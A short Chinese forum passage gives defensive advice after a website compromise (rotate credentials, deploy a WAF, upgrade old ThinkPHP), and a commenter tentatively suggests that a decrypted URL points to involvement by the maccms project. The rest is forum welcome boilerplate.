    修改凭证:更改所有敏感凭证,包括数据库密码、后台管理员密码、服务器登录密码等。
    安全加固:检查并修复网站存在的其他安全漏洞,并部署专业的 WAF 或主机安全防护软件。
    版本升级:如果还在使用老旧的 ThinkPHP 版本,强烈建议升级到最新的稳定版,老版本可能存在已知的安全漏洞。
    

    解密后出现http://www.maccms.la/ip.php,好像真的有官方参与。

12

你好啊,陌生人!

我的朋友,看起来你是新来的,如果想参与到讨论中,点击下面的按钮!

📈用户数目📈

目前论坛共有59944位seeker

🎉欢迎新用户🎉